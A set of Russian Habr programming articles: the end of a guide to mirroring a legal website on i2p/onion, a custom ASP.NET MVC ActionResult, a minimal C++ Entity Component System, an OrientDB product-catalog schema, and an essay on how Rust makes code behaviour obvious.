Для того чтобы ваш веб-ресурс стал доступен в i2p, его необходимо его проксировать аналогично варианту с onion. Для этого зайдите в файл ~/.i2pd/tunnels.conf и добавьте ваш бэкенд.
```
[anon-website]
type = http
host = 127.0.0.1
port = 8080
keys = anon-website.dat
```
После рестарта демона вы получите случайный 32-битный адрес. Его можно посмотреть в веб-консоли, которая по умолчанию доступна в [127.0.0.1](http://127.0.0.1):7070/?page=i2p\_tunnels. Не забудьте разрешить к ней доступ со своего IP-адреса, если необходимо. По умолчанию она доступна только на локальном интерфейсе. Там будет что-то страшноватое вида ukeu3k5oycgaauneqgtnvselmt4yemvoilkln7jpvamvfx7dnkdq.b32.i2p.
В i2p-сети есть подобие DNS, но он скорее похож на разрозненный список /etc/hosts. Вы подписываетесь в консоли на конкретные источники, которые говорят вам, как добраться до условной [flibusta.i2p](http://flibusta.i2p/). Поэтому имеет смысл добавиться с более или менее красивым именем на крупные ресурсы вроде inr.i2p.
Можно ли развернуть i2p и onion у нас?
--------------------------------------
Сразу хочу предупредить RuVDS не абузоустойчивый хостинг. В случае мотивированной жалобы на нашего клиента мы можем расторгнуть договор и потушить виртуальную машину. Таким же образом поступят большинство хостеров. Впрочем, из-за особенностей архитектуры tor и особенно i2p очень сложно, а часто просто невозможно определить где именно хостится веб-сайт.
Тем не менее ничего противозаконного в самом использовании подобных инструментов нет. Поэтому мы не будем возражать, если вы откроете зеркало своего легального веб-ресурса в оверлейных сетях. В любом случае я еще раз настойчиво рекомендую не экспериментировать вслепую с tor на домашней машине. Или IP может попасть в черные списки, или пативен приедет. Лучше арендуйте VPS, это недорого.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=mek&utm_content=onionhost#order) | https://habr.com/ru/post/512318/ | null | ru | null |
# ActionResult на все случаи жизни
Чем дальше в «лес», тем толще MVC framework. [Вот](http://habrahabr.ru/blogs/net/66030/ "Новость") на днях вышел preview второй версии. Бегло ознакомившись с возможностями, сильно порадовался. Но затем вспомнил о простой и очень интересной возможности RoR, которой пока нет (даже в планах) в MS MVC.
Речь идёт о возможности указать «расширение» для Action метода и, тем самым, определить тип View.
Для начала, рассмотрим пример. Запрос ht\_p://localhost/Blog/Comments/0 возвращает html страницу, содержащую список коментариев к статье номер 0 в блоге. В данном случае Blog — это имя контроллера, Comments — название метода, 0 — идентификатор записи.
Код контроллера будет выглядеть примерно так:
> `public class BlogController : Controller
>
> {
>
> public ActionResult Comments(int id)
>
> {
>
> var strings = new[] { "Один", "Два", "Три" }; // Представим, что это комментарии
>
> return View(strings);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Тут всё просто!
А как поступить, если нам необходимо в добавок к странице html получить список коментариев сериализованный в json? Самый простой способ, это создать ещё один метод, назвать его, скажем, CommentsJson, и явно вызвать метод Json(). Например, так:
> `public ActionResult CommentsJson(int id)
>
> {
>
> var strings = new[] { "Один", "Два", "Три" }; // Представим, что это комментарии
>
> return Json(strings);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь мы можем получить json список по адресу ht\_p://localhost/Blog/CommentsJson/0.
Задача решена, расходимся? Скажу прямо, меня такой код не устраивает. Во первых, дублирование, во вторых, мне не нравится url, который придётся использовать в последствии, в третьих, нет возможности использовать схему в других методах.
В таком случае, нам на помощь придёт возможность создать свой собственный ActionResult. Постараемся решить задачу «в лоб». Изменим метод Comments следующим образом:
> `public class BlogController : Controller
>
> {
>
> public ActionResult Comments(int id)
>
> {
>
> var strings = new[] { "Один", "Два", "Три" }; // Представим, что это комментарии
>
> return new ComplexResult
>
> {
>
> Json = () => Json(strings),
>
> View = () => View(strings)
>
> };
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как видно, класс ComplexResult должен быть унаследован от ActionResult.
Попробуем реализовать его так:
> `public class ComplexResult : ActionResult
>
> {
>
> public override void ExecuteResult(ControllerContext context)
>
> {
>
> object value;
>
> if (context.RouteData.Values.TryGetValue("result", out value))
>
> {
>
> var result = value.ToString();
>
> if (result.Equals("json", StringComparison.InvariantCultureIgnoreCase))
>
> {
>
> Json().ExecuteResult(context);
>
> return;
>
> }
>
> }
>
>
>
> View().ExecuteResult(context);
>
> }
>
>
>
> public Func Json { get; set; }
>
>
>
> public Func View { get; set; }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь надо объяснить: при обработке результата мы проверяем наличие строки «result» в списке значений, полученных при разборе запроса. Убеждаемся, что пользователь отправил строчку «json» и запускаем JsonResult, заранее определённый пользователем. Если строка не найдена или она не равна «json», запускаем ViewResult. Логика довольно проста.
Параллельно с этим добавим строки в настройку routes:
> `public static void RegisterRoutes(RouteCollection routes)
>
> {
>
> routes.IgnoreRoute("{resource}.axd/{\*pathInfo}");
>
>
>
> // Наш route должен стоять перед default
>
> routes.MapRoute("Result", "{controller}/{action}.{result}/{id}",
>
> new { controller = "Home", action = "Index", id = "", result = "view" });
>
>
>
> routes.MapRoute("Default", "{controller}/{action}/{id}",
>
> new { controller = "Home", action = "Index", id = "" });
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь мы имеем возможность получить объект json явно указав это в строке запроса ht\_p://localhost/Blog/Comments.json/0. Или ht\_p://localhost/Blog/Comments/0 — когда нам нужен html. И самое главное, можем легко использовать ComplexResult в других методах, не засоряя код повторяющимися методами.
Фантазия подсказывает, что подобным образом можно добавить в ComplexResult другие стандартные или нестандартные (XmlResult, RssResult и пр.) ActionResults. Возможно, нас ждёт это в следующих версиях ASP.NET MVC.
**Код написан, теперь оправдания: рекомендую использовать код, написанный в этой заметке только для ознакомления с возможностями MVC framework, очевидно — он не безопасен, для упрощения опущены некоторые проверки и условия.**
Спасибо за внимание. | https://habr.com/ru/post/66355/ | null | ru | null |
# Простейшая реализация Entity Component System
Всем привет!
У нас стартует четвёртый поток [«Разработчик C++»](https://otus.pw/hEis/), один из самых активных курсов у нас, если судить по реальным встречам, где для того чтобы пообщаться с [Димой Шебордаевым](https://otus.pw/v9Af/) приходят далеко не только «крестоносцы» :) Ну и вообще в целом курс уже разросся до одного из крупнейших у нас, осталось неизменным то, что [Дима](https://otus.pw/v9Af/) проводит открытые уроки и мы подбираем интересные материалы перед стартом курса.
Поехали!
### Вступление
Entity Component System (ECS, «сущность-компонент-система») — сейчас на пике популярности в качестве архитектурной альтернативы, которая подчеркивает принцип Composition over inheritance. В этой статье я не буду вдаваться в подробности концепции, так как уже существует достаточно ресурсов на эту тему. Есть множество способов имплементации ECS, и, я но, чаще всего, выбирают довольно сложные, которые способны запутать новичков и требуют много времени.
В этом посте я опишу очень простой способ имплементации ECS, функциональная версия которого почти не требует кода, но полностью следует концепции.
### ECS
Говоря о ECS, люди зачастую подразумевают разные вещи. Когда я говорю об ECS, я имею в виду систему, которая позволяет определять сущности, имеющие ноль и более компонентов pure data. Эти компоненты выборочно обрабатываются системами pure logic. Например, к сущности E привязаны позиция, скорость, хитбокс и здоровье компонента. Они просто хранят в себе данные. Например, компонент здоровья может хранить два целых числа: одно для текущего здоровья и второе для максимального. Система может представлять собой систему регенерации здоровья, которая находит все инстансы компонента здоровья и увеличивает их на 1 каждые 120 кадров.
### Типичная реализация на C++
Существует множество библиотек, предлагающих имплементации ECS. Обычно, они включают в себя один и более пунктов из списка:
* Наследование базового Component/System класса `GravitySystem : public ecs::System`;
* Активное использование шаблонов;
* И то, и другое в некотором [CRTP](https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern) виде;
* Класс `EntityManager`, который управляет созданием/хранением сущностей неявным способом.
Несколько быстрых примеров из гугла:
* [alecthomas’ entityx](https://github.com/alecthomas/entityx);
* [redxdev’s ECS](https://github.com/redxdev/ECS);
* [google’s corgi](https://github.com/google/corgi) (так я узнал, что у google есть реализация ECS).
Все эти способы имеют право на жизнь, но есть в них и некоторые недостатки. То, как непрозрачно они обрабатывают данные, означает, что будет сложно понять, что же происходит внутри, и случилось ли замедление производительности. Это также означает, что вам придется изучить весь слой абстракции и убедиться, что он хорошо вписывается в уже существующий код. Не стоит забывать про спрятанные баги, которых наверняка скрыто немало в том объеме кода, который вам придется отладить.
Подход, основанный на шаблонах, может сильно влиять на время компиляции и то, как часто вам придется пересобирать билд. В то время как концепции на основе наследования могут ухудшить производительность.
Основная причина, почему я считаю эти подходы чрезмерными — проблема, которую они решают, слишком проста. В конце концов, это просто дополнительные компоненты данных, связанные с сущностью, и их выборочная обработка. Ниже я покажу очень простой способ того, как этого можно реализовать.
### Мой простой подход
*Сущность*
В некоторых подходах определяется класс Entity, в других же работают с сущностями как ID/handle. В компонентном подходе сущность — не что иное, как компоненты, с ней связанные, и для этого класс не нужен. Сущность будет явно существовать, основываясь на связанных с ней компонентах. Для этого определим:
```
using EntityID = int64_t; //только для целей этой статьи, int64_t - произвольный выбор
```
*Компоненты Entity*
Компоненты — разные типы данных, связанные с существующими сущностями. Можно сказать, что для каждой сущности e, e будет обладать нулем и более доступных типов компонентов. По сути, это покомпонентные отношения ключ-значения и, к счастью, для такого существуют инструменты стандартной библиотеки в виде карт.
Итак, я определяю компоненты следующим образом:
```
struct Position
{
float x;
float y;
};
struct Velocity
{
float x;
float y;
};
struct Health
{
int max;
int current;
};
template
using ComponentMap = std::unordered\_map;
using Positions = ComponentMap;
using Velocities = ComponentMap;
using Healths = ComponentMap;
struct Components
{
Positions positions;
Velocities velocities;
Healths healths;
};
```
Этого достаточно, чтобы обозначить сущности через компоненты, как и ожидалось от ECS. Например, чтобы создать сущность с позицией и здоровьем, но без скорости, нужно:
```
//given a Components instance c
EntityID newID = /*obtain new entity ID*/;
c.positions[newID] = Position{0.0f, 0.0f};
c.healths[newID] = Health{100, 100};
```
Чтобы уничтожить сущность с заданным ID, мы просто `.erase()` её с каждой карты.
*Системы*
Последняя необходимая нам составляющая — системы. Это логика, которая работает с компонентами для достижения определенного поведения. Поскольку мне нравится все упрощать, я использую нормальные функции. Система регенерации здоровья, упомянутая выше, может быть просто следующей функцией.
```
void updateHealthRegeneration(int64_t currentFrame, Healths& healths)
{
if(currentFrame % 120 == 0)
{
for(auto& [id, health] : healths)
{
if(health.current < health.max)
++health.current;
}
}
}
```
Мы можем поместить вызов этой функции в подходящее место в основном цикле и передать его в хранилище компонента здоровья. Поскольку хранилище здоровья содержит только записи для сущностей, у которых есть здоровье, оно может обрабатывать их изолированно. Это также означает, что функция берет только необходимые данные и не трогает нерелевантные.
А что если система работает более чем с одним компонентом? Скажем, физическая система, которая меняет положение, основываясь на скорости. Для этого нам необходимо выполнить пересечение всех ключей всех задействованных типов компонентов и итерировать их значения. В такой момент, стандартной библиотеки уже недостаточно, но написать хелперы не так уж и сложно. Например:
```
void updatePhysics(Positions& positions, const Velocities& velocities)
{
//это шаблон вариативной функции, который берет N карт и
// возвращает набор ID, присутствующих на всех картах.
std::unordered_set targets = mapIntersection(positions, velocities);
//теперь target’ы будут содержать только те записи, в которых
//есть и позиция, и скорость для безопасного доступа к картам.
for(EntityID id : targets)
{
Position& pos = positions.at(id);
const Velocity& vel = velocities.at(id);
pos.x += vel.x;
pos.y += vel.y;
}
}
```
Или вы можете написать более компактный хелпер, позволяющий более эффективный доступ через итерацию вместо поиска.
```
void updatePhysics(Positions& positions, const Velocities& velocities)
{
//это шаблон вариативной функции, который определит пересечение
//ключей на картах. Он проитерирует эти ключи и передаст данные
//из карт напрямую данному функтору.
intersectionInvoke(positions, velocities,
[] (EntityID id, Position& pos, const Velocity& vel)
{
pos.x += vel.x;
pos.y += vel.y;
}
);
}
```
Таким образом, мы ознакомились с базовым функционалом обычной ECS.
### Преимущества
Этот подход очень эффективен, так как он строится с нуля, не ограничивая абстракции. Вам не придется интегрировать внешние библиотеки или адаптировать кодовую базу под предопределенные идеи того, какими должны быть Сущности/Компоненты/Системы.
А поскольку такой подход полностью прозрачен, на его основе вы можете создавать любые утилиты и хелперы. Такая реализация растет вместе с нуждами вашего проекта. Скорее всего, для простых прототипов или игр для game jam’ов, вам будет достаточно функционала, описанного выше.
Таким образом, если вы новичок во всей этой ECS сфере, такой прямолинейный подход поможет понять основные идеи.
### Ограничения
Но, как и в любом другом методе, здесь есть некоторые ограничения. По моему опыту, именно такая реализация с использованием `unordered_map` в любой нетривиальной игре приведет к проблемам производительности.
Итерация пересечения ключей на нескольких инстансах `unordered_map` с множеством сущностей плохо масштабируется, поскольку вы фактически делаете `N*M` операций поиска, где N — количество пересекающихся компонентов, M — количество совпадающих сущностей, а `unordered_map` не очень хорошо дружит с кэшированием. Такую проблему можно устранить, используя более подходящее для итерирования хранилище ключ-значение вместо `unordered_map`.
Еще одно ограничение — boilerplating. В зависимости от того, что вы делаете, определение новых компонентов может стать утомительным. Возможно потребуется добавить объявление не только в структуре Components, но и в функции spawn’а, сериализации, утилитны функции отладки и тд. Я столкнулся с этим сам и решил проблему при помощи генерации кода — я определял компоненты во внешних файлах json, а затем генерировал C++ компоненты и функции-хелперы на этапе сборки. Уверен, вы сможете найти другие способы на основе шаблонов для устранения любых boilerplate-проблем, с которыми вы столкнетесь.
THE END
Если есть вопросы и комментарии, то можно оставить их тут или зайти на [открытый урок](https://otus.pw/KEbQ/) к [Диме](https://otus.pw/v9Af/), послушать его и поспрашивать уже там. | https://habr.com/ru/post/422981/ | null | ru | null |
# Пилим каталог товаров не притрагиваясь к реляционной алгебре
Здравствуйте, меня зовут Дмитрий Карловский и я… давно не занимался бэкендом, но на днях вдруг наткнулся на мучения [SbWereWolf](https://habrahabr.ru/users/sbwerewolf/) по [натягиванию ужа на ежа](https://habrahabr.ru/post/323498/) и не смог удержаться от соблазна сдуть пыль со своего мульти-инструмента [OrientDB](http://orientdb.com) да оттяпать им чего-нибудь этакого.
Итак, мастерить мы сегодня будем базу данных для интернет-магазина с поиском товаров по параметрам, полнотекстовым поиском, локализацией, автоматическим формированием рубрикатора и мастера добавления товара.
Разбирать мы будем вот этот вот реляционный звездолёт:
А собирать вот такой вот графовый скворечник:
Схема базы данных
=================
Все сущности нашего каталога у нас будут иметь следующие поля:
* **slug** — человекопонятный идентификатор
* **created** — время создания сущности
* **searchable** — будет ли сущность находиться при поиске
* **title** — человекопонятное название сущности в виде словаря "язык-текст"
* **description** — человекопонятное описание сущности в виде словаря "язык-текст"
Чтобы не повторять эти поля в каждой сущности, как это сделано в звездолёте, мы просто создадим абстрактный класс "Object" от которого в дальнейшем будем наследовать остальные сущности:
```
Create class Object abstract
Create property Object.slug string ( collate ci , notnull true )
Create property Object.created datetime ( readonly true , default sysdate() )
Create property Object.searchable boolean ( default false )
Create property Object.title embeddedmap string ( collate ci )
Create property Object.description embeddedmap string ( collate ci )
```
slug должен быть уникальным для каждой сущности, а по названиям и описаниям нам потребуется поиск, поэтому добавим на эти поля соответствующие индексы:
```
Create index Object.slug unique
Create index Object.title on Object( title by value ) fulltext
engine lucene metadata {
"analyzer" : "org.apache.lucene.analysis.ru.RussianAnalyzer"
}
Create index Object.description on Object( description by value ) fulltext
engine lucene metadata {
"analyzer" : "org.apache.lucene.analysis.ru.RussianAnalyzer"
}
```
Славно, что движок полнотекстового поиска уже встроен в СУБД и нам не надо заниматься ручным перекладыванием данных из своей основной базы данных в какой-нибудь [ElasticSearch, построенный на том же Lucene](https://en.wikipedia.org/wiki/Elasticsearch). При изменении сущности СУБД сама позаботится об актуализации полнотекстового индекса.
Самое главное в нашем магазине — товары, а каждый товар помимо стандартных свойств имеет ещё и цену:
```
Create class Product extends Object
Create property Product.price decimal
```
В звездолёте используется иерархия рубрик в виде дерева, но мы поступим интересней — всю иерархию мы разобьём на 2 типа узлов:
* **Тег** — флаг, характеризующий конкретный товар.
* **Аспект** — группа взаимоисключающих тегов, образующая характеристику товаров
В иерархии эти два типа узлов идут попеременно:
* внутри тега могут находиться аспекты, но не теги
* внутри аспекта могут находиться теги, но не аспекты
Примеры аспектов (а в скобочках — тегов):
* Вид товара (еда, одежда, техника)
* Производитель (Плюшкин Инкорпорейтед, Макинтош Лимитед, Экскаватор Трейдинг)
* Цвет (Красный, Синий, Зелёный)
При этом выбор "цвета" имеет смысл давать только для тегов "одежда" и "техника", но не "еда".
Добавим эти две сущности и провяжем их друг с другом:
```
Create class Aspect extends Object
Create class Tag extends Object
Create property Aspect.tag linkset Tag
Create property Aspect.tag_sub linkset Tag
Create property Tag.aspect linkset Aspect
Create property Tag.aspect_sub linkset Aspect
```
Как видно, все связи у нас двусторонние "многие-ко-многим". Каждая сущность имеет ссылку на связанные с нею сущности. Осталось лишь связать нашу иерархию с товарами. Связь будет односторонней, чтобы не захламлять тег списком связанных с ним товаров, которым мы всё-равно не будем пользоваться:
```
Create property Product.tag linkset Tag
```
Например, для товара "Скатерть-самобранка" может быть выставлен тег "техника", который откроет нам аспект "цвет" и, как следствие, возможность выбрать "красный".
Чтобы поиск по тегам у нас не тормозил, мы добавим по ним индекс:
```
Create index Product.tag notunique
```
Кроме флагов, у сущностей должны быть и атрибуты других типов: строковые, целочисленные, десятичные, временные и тд. Чтобы описать эти атрибуты, введём соответствующую сущность:
```
Create class Attribute extends Object
Create property Attribute.type string ( default "string" )
```
Атрибуты у нас будут привязываться не к товарам, как можно было бы подумать, а к тегам:
```
Create property Tag.attribute linkset Attribute
Create property Attribute.tag linkset Tag
```
Например, если установлен тег "еда", то для товара становится доступен атрибут "срок годности". Само значение атрибута конкретного товара мы будем хранить в самом же товаре. В схему мы это выносить не будем, так как у каждого товара фактически может быть свой набор атрибутов в зависимости от того, какие теги ему были установлены.
Пользовательские сценарии
=========================
Полнотекстовой поиск
--------------------
Если пользователь ввёл поисковой запрос, то мы сразу ищем все объекты, которые ему соответствуют:
```
Select from Object
where searchable = true
and ( title lucene "Ска*" or description lucene "Ска*" )
```
Но если выдача получится слишком большой, то разумно будет предложить ему детализировать запрос по тегам из товаров в выдаче. Для этого запросим вместе с собственно найденными объектами ещё и связанные с ними теги и связанные с последними атрибуты и аспекты:
```
Select from Object
where searchable = true
and ( title lucene "Ска*" or description lucene "Ска*" )
fetchplan *:0 slug:0 title:0 tag.slug:0 tag.title:0 tag.aspect.title:0 tag.attribute.title:0 tag.attribute.type:0
```
Таким образом, рядом с поисковой выдачей мы можем разместить уточняющий рубрикатор, переход по пунктам которого сузит выдачу, но гарантированно не приведёт к её полной очистке. Поэтому мы смело добавляем фильтрацию по выбранным пользователем тегам и значениям атрибутов:
```
Select from Object
where searchable = true
and ( title lucene "Ска*" or description lucene "Ска*" )
and ( tag in ( Select from Tag where slug = "tag=tech" and slug="color=red" ) )
and ( weight between 100 and 200 )
fetchplan *:0 slug:0 title:0 tag.slug:0 tag.title:0 tag.aspect.title:0 tag.attribute.title:0 tag.attribute.type:0
```
Навигация по каталогу
---------------------
Когда пользователь только открыл сайт, разумно сразу предложить ему несколько направлений движения и очертить ассортимент. Поэтому мы выведем все корневые аспекты и возможные для них теги:
```
Select from Aspect
where ( tag is null )
fetchplan *:0 title:0 tag_sub.slug:0 tag_sub.title:0
```
Дальнейшее путешествие пользователя аналогично случаю полнотекстового поиска, но без собственно полнотекстового поиска:
```
Select from Product
where searchable = true
and ( tag in ( Select from Tag where slug = "tag=tech" and slug="color=red" ) )
and ( weight between 100 and 200 )
fetchplan *:0 slug:0 title:0 tag.slug:0 tag.title:0 tag.aspect.title:0 tag.attribute.title:0 tag.attribute.type:0
```
Как можно заметить, погружаясь всё глубже в кроличью нору, мы не переходим с одной рубрики на другую (вложенную), а добавляем в фильтрацию дополнительный тег. Например, на странице "красные ботинки" мы будем искать по тегам "одежда", "обувь", "ботинки", "красные", а на странице "красненькие ноутбуки" — "техника", "компьютеры", "ноутбуки", "красные". В обоих случаях "красные" — это один и тот же тег.
Создание товара
---------------
При создании товара, нет никакого смысла выводить для заполнения все возможные для товаров параметры. Например, параметр "соотношение сигнал/шум" совершенно бессмысленно для "ботинок". Поэтому точно так же, как с каталогом, мы выводим лишь корневые аспекты, а дополнительные аспекты становятся доступными лишь по мере выбора тегов пользователем, добавляющим товар. Список доступных атрибутов и аспектов c их тегами по списку выбранных тегов получается достаточно тривиально:
```
Select from Aspect
where ( tag is null )
or ( tag in ( Select from Tag where slug = "tag=tech" and slug="color=red" ) )
fetchplan *:0 title:0 tag_sub.slug:0 tag_sub.title:0 tag_sub.attribute.title:0 tag_sub.attribute.type:0
```
Тут же мы можем предоставить пользователю возможность добавлять не только товар, но и расширять набор атрибутов, аспектов и тегов.
Создадим, например, аспект "Вид товара":
```
Insert into Aspect set slug = "aspect=kind" , title = { "ru" : "Вид товара" }
```
Теперь добавим к нему, например, тег "Одежда":
```
Insert into Tag
set
slug = "tag=wear" ,
searchable = true ,
title = { "ru" : "Одежда" } ,
aspect = ( Select from Aspect where slug = "aspect=kind" )
Update Aspect
add tag_sub = ( Select from tag where slug = "tag=wear" )
where slug = "aspect=kind"
```
Другие теги добавляются аналогично. Добавление вложенного в тег аспекта аналогично. Например, добавим аспект "Цвет" в теги "Одежда" и "Техника":
```
Insert into Aspect
set
slug = "aspect=color" ,
title = { "ru" : "Цвет" } ,
tag = ( Select from Tag where slug = "tag=wear" or slug = "tag=tech" )
Update Tag
add aspect_sub = ( Select from Aspect where slug = "aspect=color" )
where slug = "tag=wear"
Update Tag
add aspect_sub = ( Select from Aspect where slug = "aspect=color" )
where slug = "tag=tech"
```
Ну и, наконец, самое главное — добавление товара. Для примера, добавим "Скатерть-самобранку" красного цвета:
```
Insert into Product
set
slug = "product=2" ,
searchable = true ,
title = { "ru" : "Скатерть-самобранка" } ,
price = 999 ,
tag = ( Select from Tag where slug = "tag=tech" or slug = "tag=red" )
```
Удаление товара
---------------
Удаление товара вовсе не должно приводить к удалению записи об этом товаре из базы данных, так в дальнейшем может потребоваться восстановить этот товар или найти данные о нём по идентификатору из какого-нибудь лога. Да даже чтобы выдавать 410(Gone) вместо 404(Not found) нужно, чтобы какая-то запись о товаре всё же оставалась. Кроме того есть такая сложная проблема как обеспечение того, чтобы никакая другая запись не ссылалась на удаляемую. Поэтому лучшее решение — изменять запись так, чтобы она исключалась из определённых процессов. Например, чтобы товар не находился ни в глобальном поиске, ни в каталоге, достаточно изменить флаг `searchable` на `false`. Именно поэтому во всех поисковых запросах мы указывали дополнительное условие `where searchable = true`.
```
Update Product set searchable = false where slug = "product=2"
```
Другой вариант "удаления" — удаление ссылок на сущность, вместо удаления самой сущности. Например, список тегов аспекта у нас хранится в свойстве `tag_sub`. Если мы хотим, чтобы больше нельзя было выбирать тег "Серобуромолиновый" в аспекте "Цвет", то просто удаляем его из `tag_sub`, но связь от тега к аспекту оставляем нетронутой. Таким образом, при просмотре товара с этим странным цветом ничего не сломается — будет показываться "Цвет: Серобуромалиновый", но при создании нового товара выбрать этот цвет будет невозможно.
```
Update Aspect
remove tag_sub = ( Select from Tag where slug = "tag=gray-brown-magenta" )
where slug = "aspect=color"
```
Резюме
======
Итого, у нас получилось 4 сущности: товар, тег, аспект и атрибут. Между собой они имеют 8 типов связей. И всего этого достаточно, чтобы реализовать свой Яндекс.Маркет с поиском, фильтрами и волшебницами всего за один беспокойный вечер. | https://habr.com/ru/post/324012/ | null | ru | null |
# Ржавая очевидность
Каждый ищет в языках программирования что-то своё: кому-то важна функциональная сторона, кому-то богатство библиотек, а другой сразу обратит внимание на длину ключевых слов. В данной статье я хотел бы рассказать, что особенно важно для меня в Rust — его очевидность. Не в том, что его легко изучить с нуля, а в том, как легко исследовать поведение кода, глядя на его фрагменты. Я перечислю особенности языка, позволяющие точно определить, что делает та или иная функция, вырванная из контекста.
Особенно отмечу, что не пытаюсь полностью описать язык, а только одну его сторону. Это мой личный взгляд на философию Rust, не обязательно совпадающий с официальной позицией разработчиков! Кроме того, Rust не будет очевиден пришельцу из других языков: кривая обучение довольно резкая, и не раз компилятор заставит вас мысленно сказать «wtf» на пути к просветлению.
### Опасный код — unsafe
«Обычный» код считается безопасным по доступу к памяти. Это пока не доказано формально, но такова задумка разработчиков. Безопасность эта не значит, что код не упадёт. Она значит, что не будет чтения чужой памяти, как и многих других вариантов неопределённого поведения. Насколько мне известно, в обычном коде всё поведение определено. Если вы попытаетесь сделать что-то незаконное, что не может быть отслежено во время сборки, то худшее, что может случиться, это контролируемое падение.
Если же вы делаете что-то за пределами простых правил языка — вы обрамляете соответствующий хитрый код в *unsafe {}*. Так, например, можно найти небезопасный код в реализации примитивов синхронизации и умных счётчиков (*Arc, Rc, Mutex, RwLock*). Заметьте, что это не делает данные элементы опасными, ибо они выставляют наружу совершенно безопасный (с точки зрения Rust) интерфейс:
```
// в этом примере наш объект владеет GL контекстом и гарантирует,
// что вызовы к нему идут только из родительского потока
fn clear(&self) {
unsafe { self.gl.clear(gl::COLOR_BUFFER_BIT) }
}
```
Итак, если вам на глаза попалась функция с блоком unsafe, нужно внимательно присмотреться к содержимому. Если нет — будьте спокойны, поведение функции строго определено (нет *undefined behavior*). Пользуясь случаем… привет, С++!
### Исключения, которых нет
Вот есть код на Java: функции, вызывающие другие функции, и т.д. И вы можете проследить, что кого вызывает и куда возвращается, построить дерево, если хотите. Но вот незадача — каждый вызов функции может вернуться как обычным путём, так и через исключение. Где-то они ловятся и обрабатываются, а где-то пробрасываются наверх. Несомненно, система исключений — мощный и выразительный инструмент, который может быть использован во благо. Однако он мешает очевидности: смотря на любой кусок кода, программист должен понимать и отслеживать, какие функции могут вызвать какие исключения, и что с этим всем делать.
Вот и автор ZeroMQ решил, что эта сложность [только мешает](http://250bpm.com/blog:4), и разработчики Rust с ним согласны. У нас нет исключений, а потенциальные ошибки являются частью возвращаемых (алгебраических) типов:
```
fn foo() -> Result;
...
match foo() {
Ok(t) => (...), //успех!
Err(e) => (...), //ошибка!
}
```
Вы видите, как и что возвращают функции, и вы не можете взять результат, не проверив на потенциальные ошибки (привет, Go!).
### Ограниченный вывод типов
Глядя на функцию в Python, я далеко не всегда понимаю, что она делает. Попадаются, конечно, хорошие имена и названия параметров, но это ничем не проверяется и не гарантируется. Это свойство позволяет языку быть компактным и акцентировать внимание на действиях, а не данных.
```
# комментарии, конечно, помогают, но типы были бы надёжнее
def save_mesh(out, ob, log): # -> (Mesh, bounds, faces_per_mat):
... # 50 строк на питоне без единого типа внутри
```
В Rust есть вывод типов, но он сугубо локальный. Вы обязаны указывать возвращаемый тип функции, всех её параметров, а также типы статических величин. Такой подход позволяет не рыться в коде чужой функции в поисках того самого типа, если он вообще там указан.
### Локальные переменные
Это свойство кажется таким простым и очевидным… пока не появляются ребята из Oberon (привет!). У глобальных переменных есть положительные моменты, но они затрудняют понимание фрагментов кода.
```
// entity - локальная переменная, указатель на текущий элемент коллекции
for entity in scene.entities {
// её область жизни - данный цикл и не строчки больше
entity.draw()
}
```
### Неизменяемые переменные
Ах да, переменные по умолчанию нельзя изменить дважды. Хотите менять после инициализации — будьте добры указать слово *mut*. При этом компилятор гарантирует это свойство:
```
fn foo(x: &u32) -> u32 {
... // мы знаем, что переменная не поменялась, и компилятор знает
*x + 1
}
```
Или с изменяемым состоянием:
```
fn foo(x: &mut u32) {
... // мы сознательно меняем значение, но мы знаем, как и компилятор,
// что никто другой не меняет и даже не читает его, пока мы здесь
*x = *x + 1;
}
```
Сравните это с *const* в C:
```
unsigned foo(const unsigned *const x) {
... // мы может и знаем, что переменная не поменялась в теле этой функции
// но ничто не мешает менять её в другом потоке, так что компилятор ничего не знает
return *x + 1;
}
```
### Указатели, которых вы не увидите
В Rust есть указатели, но они применяются сугубо в малочисленных кусках опасного кода. Причина тому — разыменование любого указателя есть небезопасная операция. Пользовательский код обильно построен на ссылках. Ссылка на объект гарантирует его существование, пока она жива. Так что в Rust нет проблемы нулевых указателей.
Конечно, я слышу громкие возгласы, что нулевые указатели просто несут смысл несуществующего объекта, который мы в Rust всё равно так или иначе выражаем со всеми вытекающими логическими ошибками. Да, есть *Option<&Something>*, однако это не совсем то же самое. С точки зрения Rust, ваш код, скажем на Java, изобилует указателями, которые могут в один прекрасный момент упасть при доступе. Вы может и знаете, какие из них не могут быть нулевыми, но держите это в голове. Ваш коллега не может читать ваши мысли, да и компилятор не способен уберечь вас самих от провала памяти.
В Rust семантика отсутствующего объекта *очевидна*: она явна в коде, и компилятор обязывает вас (и вашего коллегу) проверить существование объекта при доступе. Большинство же объектов, с которыми мы имеем дело, передаются по простым ссылкам, их существование гарантированно:
```
fn get_count(input: Option<&str>) -> usize {
match input {
Some(s) => s.len(),
None => 0,
}
}
```
Конечно, вы всё также можете упасть на месте, где ожидаете чего-то, чего нет. Но падение это будет осознанным (через вызов *unwrap()* или *expect()*) и явным.
### Модули
Всё, что в области видимости, можно найти по местным объявлениям и ключевому слову *use*. Расширять область видимости можно прямо в блоках кода, что ещё более усиливает локальность:
```
fn myswap(x: &mut i8, y: &mut i8) {
use std::mem::swap;
swap(x, y);
}
```
Проблема по существу есть только в C и С++, но там она весьма доставляет. Как понять, что именно в области видимости? Нужно проверить текущий файл, потом все включаемые файлы, потом все их включаемые, и так далее.
### Композиция вместо наследования
В Rust нет наследования классов. Вы можете наследовать интерфейсы (traits), но структуры всё равно должны явно реализовывать все интерфейсы, которые унаследовал нужный вам интерфейс. Допустим, вы видите вызов метода *object.foo()*. Какой именно код будет исполнен? В языках с наследованием (особенно — множественным), вам нужно поискать данный метод в классе типа *object*, потом в его родительских классах, и так далее — пока не найдёте реализацию.
Наследование — мощное оружие, позволяющее добиться красивого полиморфизма в огромном количестве задач. В Rust до сих пор [не утихают споры](http://smallcultfollowing.com/babysteps/blog/2015/05/29/classes-strike-back/), как получить нечто похожее, при этом сохранив красоту языка. Однако я убеждён, что оно затрудняет понимание кода.
